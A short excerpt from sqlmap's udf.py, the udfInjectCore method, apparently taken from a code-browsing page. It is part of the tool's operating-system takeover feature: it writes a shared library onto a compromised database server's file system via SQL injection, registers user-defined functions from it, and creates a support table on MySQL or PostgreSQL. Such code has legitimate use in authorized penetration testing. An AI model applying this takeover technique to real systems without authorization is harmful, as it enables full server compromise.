Method udfInjectCore

lib/takeover/udf.py:137–178

(self, udfDict)

        raise SqlmapUnsupportedFeatureException(errMsg)

    def udfInjectCore(self, udfDict):
        written = False

        for udf in udfDict.keys():
            if udf in self.createdUdf:
                continue

            self.udfCheckAndOverwrite(udf)

        if len(self.udfToCreate) > 0:
            self.udfSetRemotePath()
            checkFile(self.udfLocalFile)
            written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True)

            if written is not True:
                errMsg = "there has been a problem uploading the shared library, "
                errMsg += "it looks like the binary file has not been written "
                errMsg += "on the database underlying file system"
                logger.error(errMsg)

                message = "do you want to proceed anyway? Beware that the "
                message += "operating system takeover will fail [y/N] "

                if readInput(message, default='N', boolean=True):
                    written = True
                else:
                    return False
        else:
            return True

        for udf, inpRet in udfDict.items():
            if udf in self.udfToCreate and udf not in self.createdUdf:
                self.udfCreateFromSharedLib(udf, inpRet)

        if Backend.isDbms(DBMS.MYSQL):
            supportTblType = "longtext"
        elif Backend.isDbms(DBMS.PGSQL):
            supportTblType = "text"

        self.udfCreateSupportTbl(supportTblType)

        return written

    def udfInjectSys(self):
        self.udfSetLocalPaths()